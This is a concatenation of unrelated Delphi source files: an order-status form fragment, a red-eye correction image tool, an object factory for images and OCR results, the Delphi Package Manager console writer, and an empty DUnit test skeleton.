on e:Exception do
ShowMessage(e.Message);
end;
end;
end;
procedure TfrmCCJS_State.aMain_SlFoundationExecute(Sender: TObject);
var
DescrSelect : string;
begin
try
frmReference := TfrmReference.Create(Self);
frmReference.SetMode(cFReferenceModeSelect);
frmReference.SetReferenceIndex(cFReferenceActionFoundation);
frmReference.SetOrderShipping(FParams.OrderHeader.orderShipping);
try
frmReference.ShowModal;
DescrSelect := frmReference.GetDescrSelect;
if length(DescrSelect) > 0 then edFoundation.Text := DescrSelect;
finally
frmReference.Free;
end;
except
end;
end;
procedure TfrmCCJS_State.aMain_ExitExecute(Sender: TObject);
begin
Self.Close;
end;
procedure TfrmCCJS_State.edFoundationChange(Sender: TObject);
var
RnStatus : integer;
IErr : integer;
SErr : string;
begin
{ Поиск аналогичного наименования статуса заказа }
RnStatus := 0;
IErr := 0;
SErr := '';
if length(trim(edFoundation.text)) <> 0 then begin
try
spFindStatus.Parameters.ParamValues['@Descr'] := edFoundation.Text;
spFindStatus.ExecProc;
IErr := spFindStatus.Parameters.ParamValues['@RETURN_VALUE'];
if IErr = 0 then begin
RnStatus := spFindStatus.Parameters.ParamValues['@NRN_OUT'];
end else begin
SErr := spFindStatus.Parameters.ParamValues['@SErr'];
ShowMessage(SErr);
end;
except
on e:Exception do begin
ShowMessage(e.Message);
end;
end;
end;
if RnStatus <> 0 then edOrderStatus.Text := edFoundation.Text;
ShowGets;
end;
procedure TfrmCCJS_State.aMain_SlOrderStatusExecute(Sender: TObject);
var
DescrSelect : string;
begin
try
frmReference := TfrmReference.Create(Self);
frmReference.SetMode(cFReferenceModeSelect);
frmReference.SetReferenceIndex(cFReferenceOrderStatus);
frmReference.SetReadOnly(cFReferenceNoReadOnly);
frmReference.SetOrderShipping(FParams.OrderHeader.orderShipping);
try
frmReference.ShowModal;
DescrSelect := frmReference.GetDescrSelect;
if length(DescrSelect) > 0 then edOrderStatus.Text := DescrSelect;
finally
frmReference.Free;
end;
except
end;
end;
procedure TfrmCCJS_State.edOrderStatusChange(Sender: TObject);
begin
ShowGets;
end;
end.
|
unit RedEyeToolUnit;
interface
uses
System.Classes,
System.Math,
System.SysUtils,
Winapi.Windows,
Vcl.ComCtrls,
Vcl.Controls,
Vcl.Graphics,
Vcl.StdCtrls,
Vcl.Dialogs,
Dmitry.Graphics.Types,
Dmitry.Controls.WebLink,
ToolsUnit,
Effects,
CustomSelectTool,
uDBGraphicTypes,
uMemory,
uSettings;
type
TRedEyeToolPanelClass = class(TCustomSelectToolClass)
private
{ Private declarations }
EffectSizeScroll: TTrackBar;
EffectSizelabel: TLabel;
FRedEyeEffectSize: Integer;
FEyeColorLabel: TLabel;
FEyeColor: TComboBox;
FCustomColor: TColor;
FCustomColorDialog: TColorDialog;
FLoading: Boolean;
procedure SetRedEyeEffectSize(const Value: Integer);
protected
function LangID: string; override;
public
{ Public declarations }
class function ID: string; override;
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure DoEffect(Bitmap: TBitmap; Rect: TRect; FullImage: Boolean); override;
procedure EffectSizeScrollChange(Sender: TObject);
procedure DoBorder(Bitmap: TBitmap; ARect: TRect); override;
procedure EyeColorChange(Sender: TObject);
procedure DoSaveSettings(Sender: TObject); override;
procedure SetProperties(Properties: string); override;
procedure ExecuteProperties(Properties: string; OnDone: TNotifyEvent); override;
property RedEyeEffectSize: Integer read FRedEyeEffectSize write SetRedEyeEffectSize;
end;
implementation
{ TRedEyeToolPanelClass }
procedure FixRedEyes(Image: TBitmap; Rect: TRect; RedEyeEffectSize: Integer; EyeColorIntex: Integer;
CustomColor: TColor);
var
Ih, Iw, H, W, Ix, Iy, I, J: Integer;
X, Lay, R: Extended;
Histogramm: T255IntArray;
C, Cc, Nc: Integer;
Count: Int64;
Rx: T255ByteArray;
Rct: TRect;
Xdp: TArPARGB;
Xc, Yc, T, Rb, Re: Integer;
Mx, My, XMx, XMy: Int64;
GR, Gray: Byte;
Rn, Cn: Integer;
Xx: array [0 .. 255] of Integer;
EyeR, EyeG, EyeB: Byte;
procedure ReplaceRedA(var RGB: TRGB; Rx, Gx, Bx: Byte; L: Byte); inline;
begin
RGB.R := (Rx * RGB.R * L div 255 + RGB.R * (255 - L)) shr 8;
RGB.G := (Gx * RGB.G * L div 255 + RGB.G * (255 - L)) shr 8;
RGB.B := (Bx * RGB.B * L div 255 + RGB.B * (255 - L)) shr 8;
end;
begin
case EyeColorIntex of
0:
begin
EyeR := $00;
EyeG := $AA;
EyeB := $60;
end;
1:
begin
EyeR := $00;
EyeG := $80;
EyeB := $FF;
end;
2:
begin
EyeR := $80;
EyeG := $60;
EyeB := $00;
end;
3:
begin
EyeR := $10;
EyeG := $10;
EyeB := $10;
end;
4:
begin
EyeR := $80;
EyeG := $80;
EyeB := $80;
end;
5:
begin
EyeR := GetRValue(CustomColor);
EyeG := GetGValue(CustomColor);
EyeB := GetBValue(CustomColor);
end;
else
begin
EyeR := $00;
EyeG := $00;
EyeB := $00;
end;
end;
Rct.Top := Min(Rect.Top, Rect.Bottom);
Rct.Bottom := Max(Rect.Top, Rect.Bottom);
Rct.Left := Min(Rect.Left, Rect.Right);
Rct.Right := Max(Rect.Left, Rect.Right);
Rect := Rct;
for I := 0 to 30 do
Xx[I] := 255;
for I := 30 to 255 do
Xx[I] := Round(800 / (Sqrt(Sqrt(Sqrt(I - 29)))));
SetLength(Xdp, Image.Height);
for I := 0 to Image.Height - 1 do
Xdp[I] := Image.ScanLine[I];
C := 0;
Cc := 1;
Histogramm := GistogrammRW(Image, Rect, Count);
for I := 255 downto 1 do
begin
Inc(C, Histogramm[I]);
if (C > Count div 10) or (Histogramm[I] > 10) then
begin
Cc := I;
Break;
end;
end;
for I := 0 to 255 do
begin
Rx[I] := Min(255, Round((255 / Cc) * I));
end;
C := Round(Cc * RedEyeEffectSize / 100);
Mx := 0;
My := 0;
XMx := 0;
XMy := 0;
for I := Rect.Left to Rect.Right do
for J := Rect.Top to Rect.Bottom do
if (I >= 0) and (J >= 0) and (I < Image.Width - 1) and (J < Image.Height - 1) then
begin
T := Xdp[J, I].R - Max(Xdp[J, I].G, Xdp[J, I].B);
if T > C then
begin
XMx := XMx + T * I;
Mx := Mx + T;
XMy := XMy + T * J;
My := My + T;
end;
end;
if (Mx = 0) or (My = 0) then
Exit;
Xc := Round(XMx / Mx);
Yc := Round(XMy / My);
Ih := (Rect.Bottom - Rect.Top) div 2;
H := Ih + Rect.Top;
Iw := (Rect.Right - Rect.Left) div 2;
W := Iw + Rect.Left;
Iy := 0;
for I := Rect.Left to Rect.Right do
begin
Ix := I - W;
if Iw * Iw = 0 then
Exit;
if (Ih * Ih) - ((Ih * Ih) / (Iw * Iw)) * (Ix * Ix) > 0 then
Iy := Round(Sqrt((Ih * Ih) - ((Ih * Ih) / (Iw * Iw)) * (Ix * Ix)))
else
Continue;
for J := H - Iy to H + Iy do
begin
if (I >= 0) and (J >= 0) and (I < Image.Width - 1) and (J < Image.Height - 1) then
begin
GR := (Xdp[J, I].R * 77 + Xdp[J, I].G * 151 + Xdp[J, I].B * 28) shr 8;
Rn := Xx[GR];
Cn := Max(Xdp[J, I].R - Max(Xdp[J, I].G, Xdp[J, I].B), 0);
Cn := Min(255, Round(Cn * Rn / 255));
if Xdp[J, I].R - Max(Xdp[J, I].G, Xdp[J, I].B) > C then
if Xdp[J, I].R / (Xdp[J, I].R + Xdp[J, I].G + Xdp[J, I].B) > 0.40 then
ReplaceRedA(Xdp[J, I], EyeR, EyeG, EyeB, Cn);
end;
end;
end;
end;
constructor TRedEyeToolPanelClass.Create(AOwner: TComponent);
begin
inherited;
FLoading := True;
EffectSizelabel := TLabel.Create(Self);
EffectSizelabel.Left := 8;
EffectSizelabel.Top := EditHeight.Top + EditHeight.Height + 5;
EffectSizelabel.Caption := L('Value [%d]');
EffectSizelabel.Parent := Self;
EffectSizeScroll := TTrackBar.Create(AOwner);
EffectSizeScroll.Top := EffectSizelabel.Top + EffectSizelabel.Height + 5;
EffectSizeScroll.Width := 150;
EffectSizeScroll.Left := 8;
EffectSizeScroll.Max := 100;
EffectSizeScroll.Min := 5;
EffectSizeScroll.OnChange := EffectSizeScrollChange;
EffectSizeScroll.Position := 50;
EffectSizeScroll.Parent := AOwner as TWinControl;
FEyeColorLabel := TLabel.Create(AOwner);
FEyeColorLabel.Left := 8;
FEyeColorLabel.Top := EffectSizeScroll.Top + EffectSizeScroll.Height + 5;
FEyeColorLabel.Parent := Self;
FEyeColorLabel.Caption := L('Eye color') + ':';
FEyeColor := TComboBox.Create(AOwner);
FEyeColor.Left := 8;
FEyeColor.Top := FEyeColorLabel.Top + FEyeColorLabel.Height + 5;
FEyeColor.Width := 150;
FEyeColor.OnChange := EyeColorChange;
FEyeColor.Style := CsDropDownList;
FEyeColor.Parent := AOwner as TWinControl;
FEyeColor.Items.Add(L('Green'));
FEyeColor.Items.Add(L('Blue'));
FEyeColor.Items.Add(L('Brown'));
FEyeColor.Items.Add(L('Black'));
FEyeColor.Items.Add(L('Gray'));
FEyeColor.Items.Add(L('Custom'));
FEyeColor.ItemIndex := 1;
FCustomColor := $0;
FCustomColorDialog := TColorDialog.Create(AOwner);
EffectSizeScroll.Position := AppSettings.ReadInteger('Editor', 'RedEyeToolSize', 50);
FEyeColor.ItemIndex := AppSettings.ReadInteger('Editor', 'RedEyeColor', 0);
FCustomColor := AppSettings.ReadInteger('Editor', 'RedEyeColorCustom', 0);
SaveSettingsLink.Top := FEyeColor.Top + FEyeColor.Height + 15;
MakeItLink.Top := SaveSettingsLink.Top + SaveSettingsLink.Height + 5;
CloseLink.Top := MakeItLink.Top + MakeItLink.Height + 5;
FLoading := False;
end;
destructor TRedEyeToolPanelClass.Destroy;
begin
F(EffectSizeScroll);
F(EffectSizelabel);
F(FCustomColorDialog);
F(FEyeColor);
inherited;
end;
procedure TRedEyeToolPanelClass.DoEffect(Bitmap: TBitmap; Rect: TRect; FullImage: Boolean);
begin
FixRedEyes(Bitmap, Rect, FRedEyeEffectSize, FEyeColor.ItemIndex, FCustomColor);
end;
procedure TRedEyeToolPanelClass.DoBorder(Bitmap: TBitmap; ARect: TRect);
var
Nn, H2, W2, W, H, I, Ii, J: Integer;
Rct: TRect;
Dd: Extended;
Xdp: TArPARGB;
procedure Border(I, J: Integer; var RGB: TRGB);
begin
if Odd((I + J) div 3) then
begin
RGB.R := RGB.R div 5;
RGB.G := RGB.G div 5;
RGB.B := RGB.B div 5;
end else
begin
RGB.R := RGB.R xor $FF;
RGB.G := RGB.G xor $FF;
RGB.B := RGB.B xor $FF;
end;
end;
begin
Rct.Top := Min(ARect.Top, ARect.Bottom);
Rct.Bottom := Max(ARect.Top, ARect.Bottom);
Rct.Left := Min(ARect.Left, ARect.Right);
Rct.Right := Max(ARect.Left, ARect.Right);
ARect := Rct;
W := Rct.Right - Rct.Left;
H := Rct.Bottom - Rct.Top;
SetLength(Xdp, Bitmap.Height);
for I := 0 to Bitmap.Height - 1 do
Xdp[I] := Bitmap.ScanLine[I];
I := Min(Bitmap.Height - 1, Max(0, ARect.Top));
if I = ARect.Top then
for J := 0 to Bitmap.Width - 1 do
begin
if (J > ARect.Left) and (J < ARect.Right) then
Border(I, J, Xdp[I, J]);
end;
I := Min(Bitmap.Height - 1, Max(0, ARect.Bottom));
if I = ARect.Bottom then
for J := 0 to Bitmap.Width - 1 do
begin
if (J > ARect.Left) and (J < ARect.Right) then
Border(I, J, Xdp[I, J]);
end;
for I := Max(0, ARect.Top) to Min(ARect.Bottom - 1, Bitmap.Height - 1) do
begin
J := Max(0, Min(Bitmap.Width - 1, ARect.Left));
if J = ARect.Left then
Border(I, J, Xdp[I, J]);
end;
for I := Max(0, ARect.Top) to Min(ARect.Bottom - 1, Bitmap.Height - 1) do
begin
J := Min(Bitmap.Width - 1, Max(0, ARect.Right));
if J = ARect.Right then
Border(I, J, Xdp[I, J]);
end;
if W * H = 0 then
Exit;
W2 := W div 2;
H2 := H div 2;
if W2 * H2 = 0 then
Exit;
Dd := Min(1 / W2, 1 / H2);
Nn := Round(2 * Pi / Dd);
for Ii := 1 to Nn do
begin
I := ARect.Left + W2 + Round((W / 2) * Cos(Dd * Ii));
J := ARect.Top + H2 + Round((H / 2) * Sin(Dd * Ii));
if (I >= 0) and (J >= 0) and (I < Bitmap.Width - 1) and (J < Bitmap.Height - 1) then
Border(I, J, Xdp[J, I]);
end;
end;
procedure TRedEyeToolPanelClass.EffectSizeScrollChange(Sender: TObject);
begin
FRedEyeEffectSize := EffectSizeScroll.Position;
EffectSizelabel.Caption := Format(L('Value [%d]'), [EffectSizeScroll.Max - EffectSizeScroll.Position]);
if Assigned(FProcRecteateImage) then
FProcRecteateImage(Self);
end;
procedure TRedEyeToolPanelClass.SetRedEyeEffectSize(const Value: Integer);
begin
FRedEyeEffectSize := Value;
end;
procedure TRedEyeToolPanelClass.EyeColorChange(Sender: TObject);
begin
FCustomColorDialog.Color := FCustomColor;
if FEyeColor.ItemIndex = 5 then
if not FLoading then
if FCustomColorDialog.Execute then
begin
FCustomColor := FCustomColorDialog.Color;
end else
FEyeColor.ItemIndex := 0;
EffectSizeScrollChange(Sender);
end;
procedure TRedEyeToolPanelClass.DoSaveSettings(Sender: TObject);
begin
AppSettings.WriteInteger('Editor', 'RedEyeToolSize', EffectSizeScroll.Position);
AppSettings.WriteInteger('Editor', 'RedEyeColor', FEyeColor.ItemIndex);
AppSettings.WriteInteger('Editor', 'RedEyeColorCustom', FCustomColor);
end;
class function TRedEyeToolPanelClass.ID: string;
begin
Result := '{3D2B384F-F4EB-457C-A11C-BDCE1C20FFFF}';
end;
function TRedEyeToolPanelClass.LangID: string;
begin
Result := 'RedEyeTool';
end;
procedure TRedEyeToolPanelClass.SetProperties(Properties: String);
begin
end;
procedure TRedEyeToolPanelClass.ExecuteProperties(Properties: String;
OnDone: TNotifyEvent);
begin
end;
end.
|
unit uI2XObjectFactory;
interface
uses Windows,
SysUtils,
JclStrings,
Classes,
uFileDir,
SyncObjs,
uHashTable,
uDWImage,
uI2XOCR;
const
OBJECT_FACTORY_DEBUG='C:\Users\Administrator\AppData\Local\Temp\i2x\MAP.LOG';
type
TObjectManager = class(TObject)
protected
FList : THashTable;
function GetItem(Index: TIndex): TObject; virtual;
procedure SetItem(Index: TIndex; const Value: TObject); virtual;
function GetCount: Cardinal;
published
function Add( const ObjectName : string; const ObjectToAdd : TObject ) : TObject; virtual;
procedure Delete( ObjectName : string );
procedure Remove( ObjectName : string );
property Count : Cardinal read GetCount;
function Exists( const idx : TIndex ) : boolean;
function SaveToMemoryMap( ObjectName : string ) : boolean; virtual;
function FreeMemoryMap( ObjectName : string ) : boolean; virtual;
public
//property Items[ idx: TIndex ]: TObject read GetItem write SetItem;
function AsString() : string; virtual;
constructor Create();
destructor Destroy; override;
end;
TDWImageFactory = class(TObjectManager)
private
function GetItem(Index: TIndex): TDWImage;
procedure SetItem(Index: TIndex; const Value: TDWImage);
published
function Add( const ImageName : string; ImageToAdd : TDWImage ) : TDWImage;
function SaveToMemoryMap( ObjectName : string ) : boolean; virtual;
function FreeMemoryMap( ObjectName : string ) : boolean; virtual;
public
property Items[ idx: TIndex ]: TDWImage read GetItem write SetItem; default;
function AsString() : string;
end;
TOCRResultsFactory = class(TObjectManager)
private
function GetItem(Index: TIndex): TI2XOCRResultsMM;
procedure SetItem(Index: TIndex; const Value: TI2XOCRResultsMM);
published
function Add( const ResName : string; ResToAdd : TI2XOCRResultsMM ) : TI2XOCRResultsMM;
function SaveToMemoryMap( ObjectName : string ) : boolean; virtual;
function FreeMemoryMap( ObjectName : string ) : boolean; virtual;
public
property Items[ idx: TIndex ]: TI2XOCRResultsMM read GetItem write SetItem; default;
function AsString() : string;
end;
var
DWImageFactory : TDWImageFactory;
OCRResultsFactory : TOCRResultsFactory;
implementation
{ TObjectManager }
function TObjectManager.Add(const ObjectName: string;
const ObjectToAdd: TObject): TObject;
begin
FList.Add( ObjectName, ObjectToAdd );
Result := ObjectToAdd;
end;
function TObjectManager.AsString: string;
var
sb : TStringBuilder;
kl : TKeyList;
i : integer;
Begin
try
sb := TStringBuilder.Create();
kl := FList.Keys;
for i := 0 to Length( kl ) do begin
sb.Append( kl[i] + #13);
end;
Result := sb.ToString();
finally
FreeAndNil( sb );
end;
End;
constructor TObjectManager.Create;
begin
FList := THashTable.Create();
end;
procedure TObjectManager.Delete( ObjectName : string );
var
item : TObject;
begin
if ( FList.ContainsKey( ObjectName ) ) then begin
FList.Delete( ObjectName );
end;
end;
destructor TObjectManager.Destroy;
begin
FreeAndNil( FList );
inherited;
end;
function TObjectManager.Exists(const idx : TIndex ): boolean;
begin
if ( idx.DataType = idtString ) then
Result := FList.ContainsKey( idx.StringValue )
else if ( idx.DataType = idtInteger ) then
Result := (( FList.Count - 1 ) < idx.IntValue );
;
end;
function TObjectManager.FreeMemoryMap(ObjectName: string): boolean;
begin
end;
function TObjectManager.GetCount: Cardinal;
begin
Result := FList.Count;
end;
function TObjectManager.GetItem(Index: TIndex): TObject;
begin
Result := FList.Items[ Index ];
end;
procedure TObjectManager.Remove( ObjectName : string );
begin
FList.Remove( ObjectName );
end;
function TObjectManager.SaveToMemoryMap(ObjectName: string): boolean;
begin
end;
procedure TObjectManager.SetItem(Index: TIndex; const Value: TObject);
Begin
if ( Index.DataType = idtString ) then begin
if ( FList.ContainsKey( Index.StringValue ) ) then begin
FList.Items[ Index.StringValue ] := Value;
end else begin
FList.Add( Index.StringValue, Value );
end;
end else begin
raise Exception.Create('SetItem Index cannot be an integer');
end;
End;
{ TDWImageFactory }
function TDWImageFactory.Add(const ImageName: string;
ImageToAdd: TDWImage): TDWImage;
begin
self.FList.Add( ImageName, TObject(ImageToAdd));
end;
function TDWImageFactory.AsString: string;
var
sb : TStringBuilder;
kl : TKeyList;
item : TDWImage;
i : integer;
Begin
try
sb := TStringBuilder.Create();
kl := FList.Keys;
for i := 0 to Length( kl ) - 1 do begin
item := TDWImage( FList.Items[ kl[i] ] );
sb.Append( kl[i] + #13);
end;
Result := sb.ToString();
finally
FreeAndNil( sb );
end;
End;
function TDWImageFactory.FreeMemoryMap(ObjectName: string): boolean;
var
img : TDWImage;
begin
Result := false;
if ( FList.ContainsKey( ObjectName ) ) then begin
img := TDWImage( FList.Items[ ObjectName ] );
Result := img.ClearMemoryMap;
end;
end;
function TDWImageFactory.GetItem(Index: TIndex): TDWImage;
begin
if ( self.Exists(Index) ) then
Result := TDWImage( self.FList.Items[ Index ] )
else
if ( Index.DataType = idtString ) then begin
Result := TDWImage.Create();
self.Add( Index.StringValue, Result );
//Result := self.Add( Index.StringValue, TDWImage.Create() );
end else
raise Exception.Create('Index cannot be integer if item does not previosuly exist.. how can we add it?');
end;
function TDWImageFactory.SaveToMemoryMap(ObjectName: string): boolean;
var
img : TDWImage;
begin
Result := false;
if ( FList.ContainsKey( ObjectName ) ) then begin
img := TDWImage( FList.Items[ ObjectName ] );
Result := img.SaveToMemoryMap( ObjectName );
end;
end;
procedure TDWImageFactory.SetItem(Index: TIndex; const Value: TDWImage);
begin
if ( Index.DataType = idtString ) then begin
if ( FList.ContainsKey( Index.StringValue ) ) then begin
FList.Items[ Index.StringValue ] := TObject( Value );
end else begin
FList.Add( Index.StringValue, TObject( Value ) );
end;
end else begin
raise Exception.Create('SetItem Index cannot be an integer');
end;
end;
{ TOCRResultsFactory }
function TOCRResultsFactory.Add(const ResName: string;
ResToAdd: TI2XOCRResultsMM): TI2XOCRResultsMM;
begin
self.FList.Add( ResName, TObject(ResToAdd));
end;
function TOCRResultsFactory.AsString: string;
var
sb : TStringBuilder;
kl : TKeyList;
item : TI2XOCRResultsMM;
i : integer;
Begin
try
sb := TStringBuilder.Create();
kl := FList.Keys;
for i := 0 to Length( kl ) do begin
item := TI2XOCRResultsMM( FList.Items[ kl[i] ] );
sb.Append( kl[i] + #13);
end;
Result := sb.ToString();
finally
FreeAndNil( sb );
end;
End;
function TOCRResultsFactory.FreeMemoryMap(ObjectName: string): boolean;
var
img : TI2XOCRResultsMM;
begin
Result := false;
if ( FList.ContainsKey( ObjectName ) ) then begin
img := TI2XOCRResultsMM( FList.Items[ ObjectName ] );
Result := img.ClearMemoryMap;
end;
end;
function TOCRResultsFactory.GetItem(Index: TIndex): TI2XOCRResultsMM;
begin
//Result := TI2XOCRResultsMM( FList.Items[ Index ] );
if ( self.Exists(Index) ) then
Result := TI2XOCRResultsMM( self.FList.Items[ Index ] )
else
if ( Index.DataType = idtString ) then
Result := self.Add( Index.StringValue, TI2XOCRResultsMM.Create() )
else
raise Exception.Create('Index cannot be integer if item does not previosuly exist.. how can we add it?');
end;
function TOCRResultsFactory.SaveToMemoryMap(ObjectName: string): boolean;
begin
end;
procedure TOCRResultsFactory.SetItem(Index: TIndex;
const Value: TI2XOCRResultsMM);
begin
if ( Index.DataType = idtString ) then begin
if ( FList.ContainsKey( Index.StringValue ) ) then begin
FList.Items[ Index.StringValue ] := Value;
end else begin
FList.Add( Index.StringValue, Value );
end;
end else begin
raise Exception.Create('SetItem Index cannot be an integer');
end;
end;
initialization
DWImageFactory := TDWImageFactory.Create();
OCRResultsFactory := TOCRResultsFactory.Create();
finalization
FreeAndNil( DWImageFactory );
FreeAndNil( OCRResultsFactory );
END.
|
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.Console.Writer;
interface
uses
System.Classes;
//TODO : Split this out to another project and share it with DUnitX!
type
TConsoleColor = (ccDefault, ccBrightRed, ccDarkRed,
ccBrightBlue, ccDarkBlue,
ccBrightGreen, ccDarkGreen,
ccBrightYellow, ccDarkYellow,
ccBrightAqua, ccDarkAqua,
ccBrightPurple, ccDarkPurple,
ccGrey, ccBlack,
ccBrightWhite,
ccWhite); // the normal colour of text on the console
IConsoleWriter = interface
['{647E2533-7814-4FCE-84E4-A283C371D82F}']
function GetIsNonInteractive : boolean;
procedure SetIsNonInteractive(const value : boolean);
function GetCurrentIndentLevel : Integer;
procedure SetCurrentIndentLevel(const count: Integer);
function GetConsoleWidth : integer;
procedure SetColour(const foreground: TConsoleColor; const background: TConsoleColor = ccDefault);
procedure WriteLine(const s: String; const foregroundColor : TConsoleColor );overload;
procedure WriteLine(const s: String);overload;
procedure WriteLine;overload;
procedure Write(const s : string);overload;
procedure Write(const s : string; const foregroundColor : TConsoleColor);overload;
//this stuff belongs at a logger level
// procedure Write(const formatString : string; const args : array of const);overload;
// procedure WriteError(const s : string);overload;
// procedure WriteError(const formatString : string; const args : array of const);overload;
//
// procedure WriteWarning(const s : string);overload;
// procedure WriteWarning(const prependWarningString :boolean; const s : string);overload;
// procedure WriteWarning(const formatString : string; const args : array of const);overload;
// procedure WriteWarning(const prependWarningString :boolean; const formatString : string; const args : array of const);overload;
// function Confirm(const description : string) : boolean;
//TODO : Implement this.
// function ReadLine : string;
procedure Indent(const value : integer = 1);
procedure Outdent(const value : integer = 1);
property CurrentIndentLevel : Integer read GetCurrentIndentLevel write SetCurrentIndentLevel;
property IsNonInteractive : boolean read GetIsNonInteractive write SetIsNonInteractive;
property Width : integer read GetConsoleWidth;
end;
TConsoleBase = class(TInterfacedObject,IConsoleWriter)
private
FCurrentIndentLevel : integer;
FConsoleWidth : integer;
FRedirectedStdOut : boolean;
FIsNonInteractive : boolean;
protected
function GetIsNonInteractive : boolean;
procedure SetIsNonInteractive(const value : boolean);
function GetCurrentIndentLevel : Integer;
procedure SetCurrentIndentLevel(const count: Integer);virtual;
function InternalBreakupMessage(const s : string): TStringList;
procedure InternalWriteLn(const s : string); virtual;abstract;
procedure InternalWrite(const s : string);virtual;abstract;
procedure Indent(const value : integer = 1);
procedure Outdent(const value : integer = 1);
procedure SetColour(const foreground: TConsoleColor; const background: TConsoleColor = ccDefault); virtual;abstract;
function GetCurrentForegroundColor : TConsoleColor; virtual;abstract;
function GetCurrentBackgroundColor : TConsoleColor; virtual;abstract;
procedure SetForegroundColor(const foreground : TConsoleColor);virtual;abstract;
procedure WriteLine(const s: String; const foregroundColor : TConsoleColor );overload;
procedure WriteLine(const s: String);overload;virtual;
procedure WriteLine;overload;
procedure Write(const s : string);overload;virtual;
procedure Write(const s : string; const foregroundColor : TConsoleColor);overload;virtual;
function GetConsoleWidth : integer;virtual;abstract;
property CurrentIndentLevel : Integer read GetCurrentIndentLevel write SetCurrentIndentLevel;
property ConsoleWidth : integer read FConsoleWidth write FConsoleWidth;
property RedirectedStdOut : boolean read FRedirectedStdOut write FRedirectedStdOut;
public
constructor Create;virtual;
end;
implementation
const
DEFAULT_CONSOLE_WIDTH = 80;
MINIMUM_CONSOLE_WIDTH = 2;
constructor TConsoleBase.Create;
begin
FConsoleWidth := DEFAULT_CONSOLE_WIDTH;
FCurrentIndentLevel := 0;
end;
function TConsoleBase.GetCurrentIndentLevel: Integer;
begin
result := FCurrentIndentLevel;
end;
function TConsoleBase.GetIsNonInteractive: boolean;
begin
result := FIsNonInteractive;
end;
procedure TConsoleBase.Indent(const value: integer);
begin
SetCurrentIndentLevel(FCurrentIndentLevel + value);
end;
function TConsoleBase.InternalBreakupMessage(const s: string): TStringList;
var
line: string;
offset, width, len : Integer;
slLines : TStringList;
begin
Result := TStringList.Create;
//If we are blank string, add on line entry and leave.
if s = '' then
begin
Result.Add('');
Exit;
end;
width := FConsoleWidth - FCurrentIndentLevel;
slLines := TStringList.Create;
try
slLines.StrictDelimiter := True;
slLines.Text := s;
//Walk through the string list pulling of the console width of characters at a time.
for line in slLines do
begin
len := Length(line);
if (width > 0) and (len > width) then
begin
offset := 1;
while offset <= len do
begin
//Write a line as we have hit the limit of the console.
Result.Add(Copy(line, offset, width));
Inc(offset, width);
end;
end
else
//Can write out on a single line
Result.Add(line);
end;
finally
slLines.Free;
end;
end;
procedure TConsoleBase.Outdent(const value: integer);
begin
SetCurrentIndentLevel(FCurrentIndentLevel - value);
end;
procedure TConsoleBase.SetCurrentIndentLevel(const count: Integer);
begin
if Count < 0 then
FCurrentIndentLevel := 0
else
begin
FCurrentIndentLevel := count;
if not FRedirectedStdOut then
begin
if FCurrentIndentLevel > FConsoleWidth - MINIMUM_CONSOLE_WIDTH then
FCurrentIndentLevel := FConsoleWidth - MINIMUM_CONSOLE_WIDTH;
end;
end;
end;
procedure TConsoleBase.SetIsNonInteractive(const value: boolean);
begin
FIsNonInteractive := value;
end;
procedure TConsoleBase.Write(const s: string);
var
// offset, width, len : Integer;
slLines : TStringList;
iLineIndx : integer;
begin
slLines := InternalBreakupMessage(s);
try
//Write out all the lines execept the last one.
for iLineIndx := 0 to slLines.Count - 2 do
InternalWriteLn(slLines[iLineIndx]);
//Now write out the last one without an end of line character.
if slLines.Count > 0 then
InternalWriteLn(slLines[slLines.Count - 1]);
finally
slLines.Free;
end;
end;
procedure TConsoleBase.Write(const s: string; const foregroundColor: TConsoleColor);
var
currentForeground : TConsoleColor;
currentBackground : TConsoleColor;
begin
currentForeground := Self.GetCurrentForegroundColor;
currentBackground := Self.GetCurrentBackgroundColor;
try
SetColour(foregroundColor,currentBackground);
Write(s);
finally
SetColour(currentForeground,currentBackground);
end;
end;
procedure TConsoleBase.WriteLine;
begin
WriteLn('');
end;
procedure TConsoleBase.WriteLine(const s: String);
var
// offset, width, len : Integer;
slLines : TStringList;
iLineIndx : integer;
begin
slLines := InternalBreakupMessage(s);
try
//Write out all the lines execept the last one.
for iLineIndx := 0 to slLines.Count - 1 do
InternalWriteLn(slLines[iLineIndx]);
finally
slLines.Free;
end;
end;
procedure TConsoleBase.WriteLine(const s: String; const foregroundColor: TConsoleColor);
var
currentForeground : TConsoleColor;
currentBackground : TConsoleColor;
begin
currentForeground := Self.GetCurrentForegroundColor;
currentBackground := Self.GetCurrentBackgroundColor;
try
SetColour(foregroundColor, currentBackground);
WriteLn(s);
finally
SetColour(currentForeground,currentBackground);
end;
end;
end.
|
unit TestUnit1Antri;
{
Delphi DUnit Test Case
----------------------
This unit contains a skeleton test case class generated by the Test Case Wizard.
Modify the generated code to correctly setup and call the methods from the unit
being tested.
}
interface
uses
TestFramework, DUnitX.TestFramework, Unit1Antri;
type
// Test methods for class TAntriTest
TestTAntriTest = class(TTestCase)
strict private
FAntriTest: TAntriTest;
public
procedure SetUp; override;
procedure TearDown; override;
end;
implementation
procedure TestTAntriTest.SetUp;
begin
FAntriTest := TAntriTest.Create;
end;
procedure TestTAntriTest.TearDown;
begin
FAntriTest.Free;
FAntriTest := nil;
end;
initialization
// Register any test cases with the test runner
RegisterTest(TestTAntriTest.Suite);
end.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.